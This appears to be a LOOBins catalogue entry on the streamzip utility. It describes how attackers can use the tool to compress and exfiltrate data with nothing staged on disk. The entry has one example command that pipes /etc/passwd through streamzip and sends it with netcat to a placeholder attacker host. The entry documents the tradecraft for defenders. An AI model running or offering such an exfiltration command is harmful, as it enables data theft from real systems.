# streamzip

> File-less compression of data passed in through stdin.

streamzip is a system utility that can be utilized to compress data from "stdin" and write the data directly to "stdout", no temporary files are created. The tool can be used by malicious actors to collect and exfiltrate sensitive data without leaving staged data archive artifacts on disk.

- Page: https://loobins.io/binaries/streamzip/
- Author: Gabriel De Jesus (0xv1n)
- Created: 2024-07-15
- Tactics: Collection, Exfiltration

## Paths

- `/usr/bin/streamzip`

## Example Use Cases

### Copy and compress sensitive data locally

The following command reads file data and compresses the data for exfiltration

```bash
dd if=/etc/passwd | streamzip - stream | nc ATTACKER_IP PORT
```

- Tactics: Collection, Exfiltration
- Tags: files, compress

## Detections

- No detection content at time of writing

## Resources

- [streamzip man page](https://docs.oracle.com/cd/E88353_01/html/E37839/streamzip-1.html)